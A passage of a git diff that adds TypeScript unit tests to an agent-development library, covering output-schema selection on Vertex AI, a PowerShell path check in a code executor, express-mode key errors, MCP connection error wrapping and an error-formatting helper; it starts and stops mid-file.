*generateContentAsync( + request: LlmRequest, + ): AsyncGenerator { + this.capturedRequest = request; + yield {content: {role: 'model', parts: [{text: '{"answer": "42"}'}]}}; + } + + async connect(_llmRequest: LlmRequest): Promise { + return new MockLlmConnection(); + } + } + + async function captureRequest(options: { + model: string; + withTools: boolean; + }): Promise { + const llm = new CapturingLlm({model: options.model}); + const agent = new LlmAgent({ + name: 'test_agent', + model: llm, + instruction: 'Base instruction', + outputSchema: OUTPUT_SCHEMA, + tools: options.withTools + ? [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ] + : [], + }); + const invocationContext = new InvocationContext({ + invocationId: 'inv_123', + session: createSession({ + id: 'sess_123', + events: [], + appName: 'test-app', + userId: 'test-user', + }), + agent, + pluginManager: new PluginManager(), + }); + + for await (const _ of agent.runAsync(invocationContext)) { + // Drain the run so that the request is fully built. + } + + const request = llm.capturedRequest; + if (!request) { + expect.fail('the agent never called the model'); + } + return request; + } + + it('uses the native response schema on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeDefined(); + expect(request.config?.responseMimeType).toBe('application/json'); + expect(request.toolsDict).not.toHaveProperty('set_model_response'); + expect(request.toolsDict).toHaveProperty('some_tool'); + expect(request.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }); + + it('uses the set_model_response workaround outside the Vertex AI variant', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeUndefined(); + expect(request.toolsDict).toHaveProperty('set_model_response'); + expect(request.toolsDict).toHaveProperty('some_tool'); + expect(request.config?.systemInstruction).toContain('set_model_response'); + }); + + it('uses the set_model_response workaround on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const request = await captureRequest({ + model: 'gemini-1.5-pro', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeUndefined(); + expect(request.toolsDict).toHaveProperty('set_model_response'); + expect(request.config?.systemInstruction).toContain('set_model_response'); + }); + + it.each(['true', undefined])( + 'uses the native response schema without tools when %s', + async (vertexEnv) => { + vi.stubEnv(VERTEX_ENV_VAR, vertexEnv); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: false, + }); + + expect(request.config?.responseSchema).toBeDefined(); + expect(request.toolsDict).not.toHaveProperty('set_model_response'); + expect(request.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }, + ); +}); diff --git a/core/test/agents/processors/basic_llm_request_processor_test.ts b/core/test/agents/processors/basic_llm_request_processor_test.ts index 888040132..81b1f5918 100644 --- a/core/test/agents/processors/basic_llm_request_processor_test.ts +++ b/core/test/agents/processors/basic_llm_request_processor_test.ts @@ -18,10 +18,23 @@ import { PluginManager, RunConfig, } from '@google/adk'; -import {Content, Blob as GenaiBlob, Modality} from '@google/genai'; -import {beforeAll, describe, expect, it} from 'vitest'; +import { + Content, + Blob as GenaiBlob, + Modality, + Schema, + Type, +} from '@google/genai'; +import {afterEach, beforeAll, describe, expect, it, vi} from 'vitest'; import {BASIC_LLM_REQUEST_PROCESSOR} from '../../../src/agents/processors/basic_llm_request_processor.js'; +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, +}; + class TestLlmConnection implements BaseLlmConnection { async sendHistory(_history: Content[]): Promise {} async sendContent(_content: Content): Promise {} @@ -197,6 +210,63 @@ describe('BasicLlmRequestProcessor', () => { expect(llmRequest.config?.responseMimeType).toBeUndefined(); }); + describe('outputSchema with tools on a model that supports both', () => { + afterEach(() => { + vi.unstubAllEnvs(); + }); + + async function runWithOutputSchemaAndTools( + model: string, + ): Promise { + const agent = new LlmAgent({ + name: 'test_agent', + // A model instance is used so that `canonicalModel` resolves without + // credentials. + model: new TestLlmModel({model}), + outputSchema: OUTPUT_SCHEMA, + tools: [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ], + }); + const llmRequest = makeLlmRequest(); + + await runProcessor(createMockInvocationContext(agent), llmRequest); + + return llmRequest; + } + + it('should set outputSchema on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-2.5-flash'); + + expect(llmRequest.config?.responseSchema).toBeDefined(); + expect(llmRequest.config?.responseMimeType).toBe('application/json'); + }); + + it('should not set outputSchema on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-1.5-pro'); + + expect(llmRequest.config?.responseSchema).toBeUndefined(); + expect(llmRequest.config?.responseMimeType).toBeUndefined(); + }); + + it('should not set outputSchema outside the Vertex AI variant', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-2.5-flash'); + + expect(llmRequest.config?.responseSchema).toBeUndefined(); + expect(llmRequest.config?.responseMimeType).toBeUndefined(); + }); + }); + it('should populate liveConnectConfig from runConfig', async () => { const agent = new LlmAgent({ name: 'test_agent', diff --git a/core/test/agents/processors/instructions_llm_request_processor_test.ts b/core/test/agents/processors/instructions_llm_request_processor_test.ts index 2f64e501a..32abfdd07 100644 --- a/core/test/agents/processors/instructions_llm_request_processor_test.ts +++ b/core/test/agents/processors/instructions_llm_request_processor_test.ts @@ -6,17 +6,31 @@ import { BaseAgent, + BaseLlm, + BaseLlmConnection, createSession, FunctionTool, InvocationContext, LlmAgent, LlmRequest, + LlmResponse, PluginManager, ReadonlyContext, } from '@google/adk'; -import {describe, expect, it} from 'vitest'; +import {Schema, Type} from '@google/genai'; +import {afterEach, describe, expect, it, vi} from 'vitest'; import {INSTRUCTIONS_LLM_REQUEST_PROCESSOR} from '../../../src/agents/processors/instructions_llm_request_processor.js'; +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, +}; + +const SET_MODEL_RESPONSE_INSTRUCTION = + 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.'; + class MockRootAgent extends BaseAgent { constructor(name: string, subAgents: BaseAgent[] = []) { super({name, subAgents}); @@ -26,6 +40,20 @@ class MockRootAgent extends BaseAgent { protected async *runLiveImpl(_context: InvocationContext) {} } +/** + * A model instance is used rather than a model name so that `canonicalModel` + * resolves without credentials. + */ +class MockLlm extends BaseLlm { + async *generateContentAsync( + _llmRequest: LlmRequest, + ): AsyncGenerator {} + + async connect(_llmRequest: LlmRequest): Promise { + throw new Error('connect is not exercised by these tests'); + } +} + function createMockInvocationContext(agent: BaseAgent): InvocationContext { return new InvocationContext({ invocationId: 'test-invocation', @@ -161,43 +189,100 @@ describe('InstructionsLlmRequestProcessor', () => { ); }); - it('should append set_model_response instruction when outputSchema and tools are present', async () => { - const outputSchema = { - type: 'object' as const, - properties: { - answer: {type: 'string' as const}, - }, - }; - const agent = new LlmAgent({ - name: 'test_agent', - model: 'gemini-2.5-flash', - instruction: 'Base instruction', - outputSchema, - tools: [ - new FunctionTool({ - name: 'some_tool', - description: 'A test tool', - execute: () => 'result', - }), - ], + describe('set_model_response instruction', () => { + afterEach(() => { + vi.unstubAllEnvs(); }); - const invocationContext = createMockInvocationContext(agent); - const llmRequest: LlmRequest = { - contents: [], - toolsDict: {}, - liveConnectConfig: {}, - }; + async function runWithOutputSchema(options: { + model: string; + withTools: boolean; + }): Promise { + const agent = new LlmAgent({ + name: 'test_agent', + model: new MockLlm({model: options.model}), + instruction: 'Base instruction', + outputSchema: OUTPUT_SCHEMA, + tools: options.withTools + ? [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ] + : [], + }); - for await (const _ of INSTRUCTIONS_LLM_REQUEST_PROCESSOR.runAsync( - invocationContext, - llmRequest, - )) { - // intentionally empty + const llmRequest: LlmRequest = { + contents: [], + toolsDict: {}, + liveConnectConfig: {}, + }; + + for await (const _ of INSTRUCTIONS_LLM_REQUEST_PROCESSOR.runAsync( + createMockInvocationContext(agent), + llmRequest, + )) { + // intentionally empty + } + + return llmRequest; } - expect(llmRequest.config?.systemInstruction).toContain( - 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.', - ); + it('should append set_model_response instruction when outputSchema and tools are present', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).toContain( + SET_MODEL_RESPONSE_INSTRUCTION, + ); + }); + + it('should not append set_model_response instruction on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + expect(llmRequest.config?.systemInstruction).toContain( + 'Base instruction', + ); + }); + + it('should append set_model_response instruction on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-1.5-pro', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).toContain( + SET_MODEL_RESPONSE_INSTRUCTION, + ); + }); + + it('should not append set_model_response instruction when there are no tools', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: false, + }); + + expect(llmRequest.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }); }); }); diff --git a/core/test/code_executors/unsafe_local_code_executor_test.ts b/core/test/code_executors/unsafe_local_code_executor_test.ts index 7a38ed2c0..5e15aea7b 100644 --- a/core/test/code_executors/unsafe_local_code_executor_test.ts +++ b/core/test/code_executors/unsafe_local_code_executor_test.ts @@ -482,5 +482,49 @@ describe('UnsafeLocalCodeExecutor', () => { expect.anything(), ); }); + + describe('shell command detection', () => { + async function runShellCode(shellCommandPath: string) { + await new UnsafeLocalCodeExecutor({shellCommandPath}).executeCode({ + invocationContext, + codeExecutionInput: { + code: 'echo "test"', + language: CodeExecutionLanguage.SHELL, + inputFiles: [], + }, + }); + } + + it.each([ + 'pwsh', + 'pwsh.exe', + '/usr/bin/pwsh', + 'C:\\Program Files\\PowerShell\\7\\pwsh.exe', + 'PWSH', + 'powershell', + 'powershell.exe', + ])('runs a .ps1 script through PowerShell for %s', async (shell) => { + await runShellCode(shell); + + expect(spawnMock).toHaveBeenCalledWith( + shell, + EXPECTED_POWERSHELL_ARGS, + expect.anything(), + ); + }); + + it.each([ + '/opt/pwsh-tools/bin/bash', + '/usr/local/powershell-helpers/run.sh', + ])('does not treat %s as PowerShell', async (shell) => { + await runShellCode(shell); + + expect(spawnMock).toHaveBeenCalledWith( + shell, + [expect.stringMatching(/script\.(sh|ps1)$/)], + expect.anything(), + ); + }); + }); }); }); diff --git a/core/test/memory/vertex_ai_memory_bank_service_test.ts b/core/test/memory/vertex_ai_memory_bank_service_test.ts index f29a2b4f3..7ff25af74 100644 --- a/core/test/memory/vertex_ai_memory_bank_service_test.ts +++ b/core/test/memory/vertex_ai_memory_bank_service_test.ts @@ -15,7 +15,25 @@ import { VertexAiMemoryBankServiceOptions, } from '@google/adk'; import {Content, Part} from '@google/genai'; -import {beforeEach, describe, expect, it, vi} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; + +const clientConstructor = vi.hoisted(() => vi.fn()); + +// The service imports Client from the package root, so the mock must target it. +vi.mock('@google-cloud/vertexai', () => ({ + Client: class { + readonly agentEnginesInternal = {memories: {}}; + + constructor(options: {project?: string; location?: string}) { + clientConstructor(options); + } + }, +})); + +afterEach(() => { + vi.unstubAllEnvs(); + clientConstructor.mockClear(); +}); describe('VertexAiMemoryBankService', () => { let service: VertexAiMemoryBankService; @@ -89,6 +107,52 @@ describe('VertexAiMemoryBankService', () => { loggerSpy.mockRestore(); }); + describe('express mode', () => { + beforeEach(() => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', 'true'); + vi.stubEnv('GOOGLE_API_KEY', 'env-api-key'); + }); + + it.each([ + ['an expressModeApiKey option', {expressModeApiKey: 'test-api-key'}], + ['an API key from the environment', {}], + ['an API key and only a project', {projectId: 'test-project'}], + ])('throws for %s instead of dropping the key', (_, options) => { + expect( + () => + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + ...options, + }), + ).toThrow('Vertex AI Express Mode'); + expect(clientConstructor).not.toHaveBeenCalled(); + }); + + it('keeps using project and location when an API key is also in the environment', () => { + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + projectId: 'test-project', + location: 'us-central1', + }); + + expect(clientConstructor).toHaveBeenCalledWith({ + project: 'test-project', + location: 'us-central1', + }); + }); + + it('never builds a client when one is injected', () => { + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + client: { + agentEnginesInternal: {memories: mockMemories}, + } as unknown as Client, + }); + + expect(clientConstructor).not.toHaveBeenCalled(); + }); + }); + describe('addSessionToMemory', () => { it('calls generateInternal with events', async () => { const session = createSession({ diff --git a/core/test/runner/runner_test.ts b/core/test/runner/runner_test.ts index 904db5e3f..dddee9b04 100644 --- a/core/test/runner/runner_test.ts +++ b/core/test/runner/runner_test.ts @@ -570,6 +570,17 @@ describe('Runner with plugins', () => { const modifiedEventMessage = generatedEvent.content!.parts![0].text; expect(modifiedEventMessage).toEqual(MockPlugin.ON_EVENT_CALLBACK_MSG); + + const session = await sessionService.getSession({ + appName: TEST_APP_ID, + userId: TEST_USER_ID, + sessionId: TEST_SESSION_ID, + }); + const persistedEvent = session!.events[1]; + expect(persistedEvent.content!.parts![0].text).toEqual( + MockPlugin.ON_EVENT_CALLBACK_MSG, + ); + expect(persistedEvent.author).toEqual('test_agent'); }); it('should call beforeRunCallback and stop execution', async () => { diff --git a/core/test/sessions/vertex_ai_session_service_test.ts b/core/test/sessions/vertex_ai_session_service_test.ts index c0e834607..97396d11a 100644 --- a/core/test/sessions/vertex_ai_session_service_test.ts +++ b/core/test/sessions/vertex_ai_session_service_test.ts @@ -8,7 +8,7 @@ import {Sessions} from '@google-cloud/vertexai/build/src/genai/sessions.js'; import {createEvent, State, VertexAiSessionService} from '@google/adk'; import {Session} from '@google/adk/sessions/session.js'; import {ApiError} from '@google/genai'; -import {beforeEach, describe, expect, it, vi} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; // Mock the unreleased nodejs-vertexai package so the import resolves vi.mock('nodejs-vertexai', () => ({ @@ -21,6 +21,24 @@ vi.mock('nodejs-vertexai', () => ({ }, })); +const clientConstructor = vi.hoisted(() => vi.fn()); + +// The service imports Client from this deep path, so the mock must target it. +vi.mock('@google-cloud/vertexai/build/src/genai/client.js', () => ({ + Client: class { + readonly agentEnginesInternal = {sessions: {}}; + + constructor(options: {project?: string; location?: string}) { + clientConstructor(options); + } + }, +})); + +afterEach(() => { + vi.unstubAllEnvs(); + clientConstructor.mockClear(); +}); + import { isVertexAiConnectionString, quoteFilterLiteral, @@ -127,9 +145,52 @@ describe('VertexAiSessionService', () => { }); it('throws an error if no client and no project/location provided', () => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', undefined); + expect(() => new VertexAiSessionService({})).toThrow( - 'Either (Project ID and Location) or an expressModeApiKey is required.', + 'Project ID and Location are required.', ); + expect( + () => new VertexAiSessionService({projectId: 'test-project'}), + ).toThrow('Project ID and Location are required.'); + }); + + describe('express mode', () => { + beforeEach(() => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', 'true'); + vi.stubEnv('GOOGLE_API_KEY', 'env-api-key'); + }); + + it.each([ + ['an expressModeApiKey option', {expressModeApiKey: 'test-api-key'}], + ['an API key from the environment', {}], + ['an API key and only a project', {projectId: 'test-project'}], + ])('throws for %s instead of dropping the key', (_, options) => { + expect(() => new VertexAiSessionService(options)).toThrow( + 'Vertex AI Express Mode', + ); + expect(clientConstructor).not.toHaveBeenCalled(); + }); + + it('keeps using project and location when an API key is also in the environment', () => { + new VertexAiSessionService({ + projectId: 'test-project', + location: 'us-central1', + }); + + expect(clientConstructor).toHaveBeenCalledWith({ + project: 'test-project', + location: 'us-central1', + }); + }); + + it('never builds a client when sessions are injected', () => { + new VertexAiSessionService({ + sessions: mockClient as unknown as Sessions, + }); + + expect(clientConstructor).not.toHaveBeenCalled(); + }); }); it('uses agentEngineId if provided', async () => { diff --git a/core/test/tools/mcp/mcp_session_manager_test.ts b/core/test/tools/mcp/mcp_session_manager_test.ts index bc51fc321..c67055411 100644 --- a/core/test/tools/mcp/mcp_session_manager_test.ts +++ b/core/test/tools/mcp/mcp_session_manager_test.ts @@ -4,11 +4,14 @@ * SPDX-License-Identifier: Apache-2.0 */ -import {MCPSessionManager} from '@google/adk'; +import {MCPConnectionParams, MCPSessionManager} from '@google/adk'; import {Client} from '@modelcontextprotocol/sdk/client/index.js'; import {StdioClientTransport} from '@modelcontextprotocol/sdk/client/stdio.js'; import {StreamableHTTPClientTransport} from '@modelcontextprotocol/sdk/client/streamableHttp.js'; import {describe, expect, it, vi} from 'vitest'; +// The logger singleton is internal (not part of the public API), so it is +// imported via a relative path to spy on the exact instance the manager uses. +import {logger} from '../../../src/utils/logger.js'; vi.hoisted(() => { vi.resetModules(); @@ -181,4 +184,118 @@ describe('MCPSessionManager', () => { await manager.closeSession(client2); expect(manager.getActiveSessions()).toEqual([]); }); + + it('does not connect for an unknown connection type', async () => { + const manager = new MCPSessionManager({ + type: 'UnknownConnectionType', + } as unknown as MCPConnectionParams); + + const client = await manager.createSession(); + + expect(client).toBeDefined(); + expect(client.connect).not.toHaveBeenCalled(); + }); + + describe('connection error handling', () => { + it('wraps a connect failure with a formatted message', async () => { + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi + .fn() + .mockRejectedValue( + Object.assign( + new Error( + 'Streamable HTTP error: Error POSTing to endpoint: Forbidden', + ), + {code: 403}, + ), + ), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + + const error = await manager.createSession().catch((e: unknown) => e); + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toContain( + 'Failed to create MCP session', + ); + expect((error as Error).message).toContain('403'); + expect((error as Error).message).toContain('Forbidden'); + }); + + it('preserves the original error as the cause', async () => { + const original = Object.assign(new Error('boom'), {code: 401}); + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi.fn().mockRejectedValue(original), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + + const error = await manager.createSession().catch((e: unknown) => e); + expect((error as Error).cause).toBe(original); + }); + + it('wraps an AggregateError connect failure with joined leaves', async () => { + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi + .fn() + .mockRejectedValue( + new AggregateError([new Error('err A'), new Error('err B')]), + ), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StdioConnectionParams', + serverParams: {command: 'test-command'}, + }); + + const error = await manager.createSession().catch((e: unknown) => e); + const message = (error as Error).message; + expect(message).toContain('err A'); + expect(message).toContain('err B'); + expect(message).toContain(' | '); + }); + + it('logs a formatted message for a background transport error', async () => { + const errorSpy = vi.spyOn(logger, 'error').mockImplementation(() => {}); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + await manager.createSession(); + + const transport = vi + .mocked(StreamableHTTPClientTransport) + .mock.instances.at(-1); + expect(transport?.onerror).toBeTypeOf('function'); + transport?.onerror?.(new Error('background stream died')); + + expect(errorSpy).toHaveBeenCalledWith( + expect.stringContaining('MCP transport error'), + ); + expect(errorSpy).toHaveBeenCalledWith( + expect.stringContaining('background stream died'), + ); + + errorSpy.mockRestore(); + }); + }); }); diff --git a/core/test/utils/env_aware_utils_test.ts b/core/test/utils/env_aware_utils_test.ts index 38ddbc846..bcfdddfb0 100644 --- a/core/test/utils/env_aware_utils_test.ts +++ b/core/test/utils/env_aware_utils_test.ts @@ -5,6 +5,7 @@ */ import {afterEach, describe, expect, it} from 'vitest'; +import {randomUUID as shimRandomUUID} from '../../src/utils/crypto_shim.js'; import {getBooleanEnvVar, randomUUID} from '../../src/utils/env_aware_utils.js'; describe('env_aware_utils', () => { @@ -109,10 +110,27 @@ describe('env_aware_utils', () => { expect(randomUUID()).toBe('abababab-abab-4bab-abab-abababababab'); }); - it('throws instead of degrading when no secure source exists', () => { + // globalThis.crypto was added in Node v17.4.0 and stayed behind + // --experimental-global-webcrypto until v19.0.0, so on a default Node 18 or + // earlier neither globalThis branch matches. + it('falls back to node:crypto when globalThis.crypto is absent', () => { setCrypto(undefined); - expect(() => randomUUID()).toThrow( + expect(randomUUID()).toMatch(UUID_V4); + }); + + it('does not repeat itself across calls without globalThis.crypto', () => { + setCrypto(undefined); + + const ids = new Set(Array.from({length: 1000}, () => randomUUID())); + + expect(ids.size).toBe(1000); + }); + + // The web build aliases node:crypto to this shim, so it stands in for the + // Node fallback in a browser that has no Web Crypto API at all. + it('throws instead of degrading in the browser shim', () => { + expect(() => shimRandomUUID()).toThrow( /no cryptographically secure source of randomness/, ); }); diff --git a/core/test/utils/error_utils_test.ts b/core/test/utils/error_utils_test.ts new file mode 100644 index 000000000..11cfd3636 --- /dev/null +++ b/core/test/utils/error_utils_test.ts @@ -0,0 +1,210 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {describe, expect, it} from 'vitest'; +import {formatError} from '../../src/utils/error_utils.js'; + +const TRUNCATION_MARKER = '... [truncated]'; +const MAX_RESPONSE_BODY_LENGTH = 1000; + +/** Builds an axios/httpx-style error carrying a `.response` object. */ +function httpError(status: number, body: string, statusText?: string): Error { + return Object.assign(new Error(`request failed with status ${status}`), { + response: {status, statusText, data: body}, + }); +} + +describe('formatError', () => { + it('returns the message of a single plain error', () => { + expect(formatError(new Error('normal error'))).toBe('normal error'); + }); + + it('surfaces the leaf message of an error wrapped via cause', () => { + const err = new Error('outer', {cause: new Error('root cause')}); + expect(formatError(err)).toContain('root cause'); + }); + + it('joins an AggregateError of multiple sub-errors with " | "', () => { + const err = new AggregateError([new Error('err A'), new Error('err B')]); + const result = formatError(err); + expect(result).toContain('err A'); + expect(result).toContain('err B'); + expect(result).toContain(' | '); + }); + + it('surfaces every leaf of an AggregateError mixing HTTP and plain errors', () => { + const err = new AggregateError([ + httpError(403, 'Forbidden access', 'Forbidden'), + new Error('another error'), + ]); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + expect(result).toContain('another error'); + }); + + it('extracts status and body from an HTTP 403 response shape', () => { + const err = httpError(403, 'Forbidden access', 'Forbidden'); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + }); + + it('extracts status and body from an HTTP 401 response shape', () => { + const err = httpError(401, 'Missing credentials', 'Unauthorized'); + const result = formatError(err); + expect(result).toContain('401'); + expect(result).toContain('Missing credentials'); + }); + + it('extracts the status from a StreamableHTTPError-shaped error', () => { + const err = Object.assign( + new Error( + 'Streamable HTTP error: Error POSTing to endpoint: {"error":"forbidden"}', + ), + {code: 403}, + ); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('forbidden'); + }); + + it('truncates a long response body to the configured maximum', () => { + const err = httpError(500, 'x'.repeat(5000)); + const result = formatError(err); + expect(result).toContain(TRUNCATION_MARKER); + expect(result).toContain('x'.repeat(MAX_RESPONSE_BODY_LENGTH)); + expect(result).not.toContain('x'.repeat(MAX_RESPONSE_BODY_LENGTH + 1)); + }); + + it('does not truncate a body of exactly the maximum length', () => { + const err = httpError(500, 'y'.repeat(MAX_RESPONSE_BODY_LENGTH)); + const result = formatError(err); + expect(result).not.toContain(TRUNCATION_MARKER); + expect(result).toContain('y'.repeat(MAX_RESPONSE_BODY_LENGTH)); + }); + + it('truncates a body one character over the maximum length', () => { + const err = httpError(500, 'z'.repeat(MAX_RESPONSE_BODY_LENGTH + 1)); + expect(formatError(err)).toContain(TRUNCATION_MARKER); + }); + + it('extracts HTTP details from a leaf error reached via the cause chain', () => { + const err = new Error('connection failed', { + cause: httpError(403, 'Forbidden access', 'Forbidden'), + }); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + }); + + it('returns a stable constant for null and undefined', () => { + expect(formatError(null)).toBe('Unknown error'); + expect(formatError(undefined)).toBe('Unknown error'); + }); + + it('returns a raw string input verbatim', () => { + expect(formatError('raw string')).toBe('raw string'); + }); + + it('returns a non-empty string for a non-Error object without throwing', () => { + const result = formatError({foo: 1}); + expect(typeof result).toBe('string'); + expect(result.length).toBeGreaterThan(0); + }); + + it('is safe against a self-referential cause cycle', () => { + const err = new Error('self'); + err.cause = err; + expect(formatError(err)).toBe('self'); + }); + + it('is safe against an AggregateError that contains itself', () => { + const err = new AggregateError([new Error('leaf')]); + err.errors.push(err); + expect(() => formatError(err)).not.toThrow(); + expect(formatError(err)).toContain('leaf'); + }); + + it('does not treat a string Node system code as an HTTP status', () => { + const err = Object.assign(new Error('conn refused'), { + code: 'ECONNREFUSED', + }); + const result = formatError(err); + expect(result).toBe('conn refused'); + expect(result).not.toContain('HTTP'); + }); + + it('reads the status when the response object is null', () => { + const err = Object.assign(new Error('boom'), {status: 403, response: null}); + expect(formatError(err)).toContain('403'); + }); + + it('surfaces a response body even when no status is available', () => { + const err = Object.assign(new Error('boom'), { + response: {data: 'body without status'}, + }); + const result = formatError(err); + expect(result).toContain('body without status'); + expect(result).toContain('HTTP error'); + }); + + it('ignores a negative numeric code (e.g. JSON-RPC) as an HTTP status', () => { + const err = Object.assign(new Error('rpc failure'), {code: -32601}); + const result = formatError(err); + expect(result).toBe('rpc failure'); + expect(result).not.toContain('HTTP'); + }); + + it('ignores an out-of-range numeric code as an HTTP status', () => { + const err = Object.assign(new Error('weird code'), {code: 9999}); + const result = formatError(err); + expect(result).toBe('weird code'); + expect(result).not.toContain('9999'); + }); + + it('does not invoke or surface a function-valued response text', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 500, text: () => 'should not be read'}, + }); + const result = formatError(err); + expect(result).toContain('500'); + expect(result).not.toContain('should not be read'); + }); + + it('returns the unknown-error constant for an empty AggregateError', () => { + expect(formatError(new AggregateError([]))).toBe('Unknown error'); + }); + + it('does not append the cause when the base already has HTTP details', () => { + const err = Object.assign(new Error('outer'), { + code: 403, + cause: new Error('inner detail'), + }); + const result = formatError(err); + expect(result).toContain('HTTP 403'); + expect(result).not.toContain('inner detail'); + }); + + it('does not duplicate a cause message already present in the base', () => { + const err = new Error('wrapper failed: boom', {cause: new Error('boom')}); + expect(formatError(err)).toBe('wrapper failed: boom'); + }); + + it('reads a string response body from the "body" field', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 502, body: 'gateway body'}, + }); + expect(formatError(err)).toContain('gateway body'); + }); + + it('reads a string response body from the "text" field', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 502, text: 'text body'}, + }); + expect(formatError(err)).toContain('text body'); + }); +}); diff --git a/core/test/utils/output_schema_utils_test.ts b/core/test/utils/output_schema_utils_test.ts new file mode 100644 index 000000000..9beedd983 --- /dev/null +++ b/core/test/utils/output_schema_utils_test.ts @@ -0,0 +1,103 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {afterEach, describe, expect, it, vi} from 'vitest'; +// `canUseOutputSchemaWithTools` is internal and deliberately not exported from +// the package barrel. +import {canUseOutputSchemaWithTools} from '../../src/utils/output_schema_utils.js'; + +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +interface TestCase { + model: string; + vertexEnv: string | undefined; + expected: boolean; + why: string; +} + +const TEST_CASES: TestCase[] = [ + { + model: 'gemini-2.5-pro', + vertexEnv: 'true', + expected: true, + why: 'the variant is Vertex AI and the model is Gemini 2.0+', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: '1', + expected: true, + why: '"1" also selects the Vertex AI variant', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: 'false', + expected: false, + why: 'the variant is not Vertex AI', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: undefined, + expected: false, + why: 'the Gemini API variant is the default', + }, + { + model: 'gemini-2.5-flash', + vertexEnv: 'true', + expected: true, + why: 'the variant is Vertex AI and the model is Gemini 2.0+', + }, + { + model: 'gemini-1.5-pro', + vertexEnv: 'true', + expected: false, + why: 'Gemini 1.x is below the 2.0 floor', + }, + { + model: 'gemini-1.5-pro', + vertexEnv: undefined, + expected: false, + why: 'neither condition holds', + }, + { + model: 'claude-3-7-sonnet', + vertexEnv: 'true', + expected: false, + why: 'it is not a Gemini model', + }, + { + model: '', + vertexEnv: 'true', + expected: false, + why: 'an empty model name is never recognised', + }, + { + model: 'projects/p/locations/l/publishers/google/models/gemini-2.5-flash', + vertexEnv: 'true', + expected: true, + why: 'the version is read out of the path-based model name', + }, + { + model: 'gemini-flash-early-exp', + vertexEnv: 'true', + expected: false, + why: 